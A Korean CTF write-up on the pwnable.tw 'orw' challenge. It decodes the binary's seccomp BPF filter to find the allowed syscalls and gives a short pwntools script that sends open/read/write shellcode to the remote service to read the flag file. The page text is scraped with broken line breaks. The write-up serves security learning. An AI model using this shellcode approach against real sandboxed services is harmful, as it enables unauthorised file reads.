main
함수는 다음 순서로 동작한다.orw_seccomp
를 호출shellcode
라는 변수에 stdin
으로 200 byte
의 값을 입력shellcode
에 저장된 값을 호출orw_seccomp
가 없다면 단순히 shellcode injection 문제가 됐을 것이다.line 5
~ line 23
을 살펴보면line 14
: in_GS_OFFSET
에 0x14
를 더해서 local_20
의 값으로 할당한다.line 15
: puVar2
는 &DAT_08048640
을 가리킨다.line 16
: puVar3
는 local_80
을 가리킨다.line 17 ~ 21
: puVar3
에 puVar2
의 값을 모두 복사한다. (총 24 byte)line 22
: local_88
에 0x0c
값을 넣는다.line 23
: local_84
가 local_80
을 가리킨다. line 24, 25
는 prctl
함수를 호출하는 부분이다.
line 24
: prctl( 0x26, 1, 0, 0, 0 )
을 호출한다.line 25
: prctl( 0x16, 2, local_88 )
을 호출한다.prctl
함수는 링크 에서 확인할 수 있듯이 프로세스에서의 연산
을 제어하는 함수이다.
함수의 첫 번째 인자에 관해서는 링크 에서 확인할 수 있다.
prctl( 0x26, 1, 0, 0, 0 )
0x26
==38
==PR_SET_NO_NEW_PRIVS
- 호출한 스레드에 대해 두 번째 인자(
arg2
)를no_new_privs bit
로 설정한다.- 만약
1
이라면,execve()
함수로 호출한 작업들에 대해 권한(privileage)을 주지 않음.- 즉,
execve()
함수를 사용할 수 없음
prctl( 0x16, 2, local_88 )
0x16
==22
==PR_SET_SECCOMP
- 호출한 스레드에 대해
seccomp
모드를 실행함seccomp
모드에서는 가능한system call
이 제한됨seccomp
모드는 두 번째 인자(arg2
)를 통해 설정되는데,2
는 링크를 통해 확인할 수 있으며,SECCOMP_MODE_FILTER
이다.- 이는 세 번째 인자(
arg3
)의 값을 참조하여 허용된system call
만을 사용할 수 있음을 의미한다.arg3
는sock_fprog
구조체를 가리키는 포인터이며,sock_fprog
는 링크 에 정의되어 있으며, 구조는 아래와 같다.struct sock_filter { /* Filter block */ __u16 code; /* Actual filter code */ __u8 jt; /* Jump true */ __u8 jf; /* Jump false */ __u32 k; /* Generic multiuse field */ }; struct sock_fprog { /* Required for SO_ATTACH_FILTER. */ unsigned short len; /* Number of filter blocks */ struct sock_filter __user *filter; };
- 따라서,
local_88
부터 시작되는데이터
들을 구조체 형태로 재구성 할 필요가 있다.
prctl(0x16, 2, local_88)
을 말로 풀어서 적으면 아래와 같다.
📢
local_88
에서 명시한system call
만을 허용한다 !
따라서, local_88
을 제대로 알아야 이 프로세스(스레드)가 어떻게 동작할지 예상할 수 있다.
스택 주소의 상황을 개념적으로 그리면 아래와 같다.
addr: ----------[EBP-0x88]------------[EBP-0x84]-----------[EBP-0x80]---------
value: ---------[0x0c][0x00]---------[&(EBP-0x80)]----------[DAT_08048640]-------
sock_fprog
구조체에서, 첫 번째 인자는 Number of Filter Blocks
이라고 했으므로 0x0c
는 필터링되는 systemcall
이 총 12
개 임을 의미한다.
이제 DAT_08048640
을 살펴본다.
sock_filter
구조에 맞게 재구성해본다.20 00 | 00 | 00 | 04 00 00 00
15 00 | 00 | 09 | 03 00 00 40
20 00 | 00 | 00 | 00 00 00 00
15 00 | 07 | 00 | ad 00 00 00
15 00 | 06 | 00 | 77 00 00 00
15 00 | 05 | 00 | fc 00 00 00
15 00 | 04 | 00 | 01 00 00 00
15 00 | 03 | 00 | 05 00 00 00
15 00 | 02 | 00 | 03 00 00 00
15 00 | 01 | 00 | 04 00 00 00
06 00 | 00 | 00 | 26 00 05 00
06 00 | 00 | 00 | 00 00 ff 7f
12
개의 sock_filter
구조의 데이터 덩어리가 생겼다. 이제 각각이 어떤 의미인지 살펴봐야 한다.BPF
를 언급하므로, 이에 관해 살펴본다.링크를 통해 sock_filter
에서 각 필드 값을 어떻게 해석하면 되는지 알 수 있었다 (thanks to lcy)
링크를 통해 [field]
+ [class]
형태로 opcode
가 만들어지는 것이라 파악했다.
{ opcode, jt, jf, k }
20 00 | 00 | 00 | 04 00 00 00 || ABS LD, 0x04
15 00 | 00 | 09 | 03 00 00 40 || JEQ if not 0x09, 0x040003
20 00 | 00 | 00 | 00 00 00 00 || ABS LD, 0x00
15 00 | 07 | 00 | ad 00 00 00 || JEQ if 0x07, 0xad
15 00 | 06 | 00 | 77 00 00 00 || JEQ if 0x06, 0x77
15 00 | 05 | 00 | fc 00 00 00 || JEQ if 0x05, 0xfc
15 00 | 04 | 00 | 01 00 00 00 || JEQ if 0x04, 0x01
15 00 | 03 | 00 | 05 00 00 00 || JEQ if 0x03, 0x05
15 00 | 02 | 00 | 03 00 00 00 || JEQ if 0x02, 0x03
15 00 | 01 | 00 | 04 00 00 00 || JEQ if 0x01, 0x04
06 00 | 00 | 00 | 26 00 05 00 || return #0x500026
06 00 | 00 | 00 | 00 00 ff 7f || return #0x7fff0000
dump
기능을 이용하면 될 것이라 생각했다.sys_number
가 아래에 해당할 때 ALLOW
됨을 알 수 있다(goto 0011 == return ALLOW)rt_sigreturn
sigreturn
exit_group
exit
open
read
write
main
함수에서 쉘코드를 받은 후 실행하는 코드를 넣으면 된다는 점을 생각해보면,read
, write
, open
, exit
을 비롯한 상기한 system call
들만을 이용해서 쉘코드를 만들면 됨을 알 수 있다.
- 여담으로 위의
rt_sigreturn
과sigreturn
의 차이가 궁금해서 구글링을 해보니 아래와 같은 자료를 찾았다.- 링크: Stackoverflow
- 정리하면,
rt_sigreturn
은sigreturn
에서 확장된sigset_t
를 지원하기 위해 추가된 것이며, 둘 다 같은 기능을 하는 함수이다.
main
에서 대놓고 쉘코드를 실행시켜준다고 명시하고 있기 때문에 취약점이라 부르기 좀 어려워 보인다.conditional shellcode
를 작성해본다는 점에서 의미 있는 문제라 생각했다.syscall
이 제한되어 있지만, 다행히 문제 소개에서 다음의 힌트를 주고 있어 open
, read
, write
만 있으면 flag
를 읽는 것이 어렵지 않음을 알 수 있다.exploit script
의 구성은 아래와 같다.
- [
open
]sys_open
을 이용해 플래그를 읽어 온다.- [
read
]sys_read
를 이용해sys_open
의 리턴 값(fd
)이 담긴EAX
레지스터로부터bss
영역으로 값을 읽어온다.
- 문제에 등장하는 변수
shellcode
도bss
영역에 존재한다.- 따라서, 플래그 길이만큼 떨어진 곳의 영역을 이용해보고자 했다.
예
:If
len(flag
) == 0x30,Then
using&shellcode
+ 0x30- [
write
]sys_write
를 이용해 플래그 값을 저장한 영역으로부터stdout
으로 값을 출력한다.
pwntools 를 이용해 아래와 같이 exploit script
를 작성하고 문제를 해결했다.
from pwn import * #p = process("./orw") p = remote("chall.pwnable.tw", 10001) e = ELF("./orw") shellcode_addr = 0x0804a060 len_flag = 0x50 target_addr = shellcode_addr + len_flag shellcode = shellcraft.open('/home/orw/flag') shellcode += shellcraft.read('eax', target_addr, len_flag) shellcode += shellcraft.write(1, target_addr, len_flag) shellcode = asm(shellcode) p.sendline(shellcode) p.interactive()
이 때, shellcraft
는 링크 부분에서 미리 구현된 특정 sys_call
에 대한 .asm
파일을 참고하여 어셈블리어를 만들어준다.
shellcraft.read
에서 첫 번째 인자로 eax
를 넣어준 이유는 shellcraft.open
의 결과(fd
)가 eax
레지스터에 저장되기 때문이다.
다만, 위에서
len_flag
값을0x30
으로 바꾸면 문제가 해결되지 않았다.
이는 로컬에서 gdb를 이용하면 파악할 수 있을 것이다.
이에 관해서는 추후 자세히 다뤄보도록 하겠다.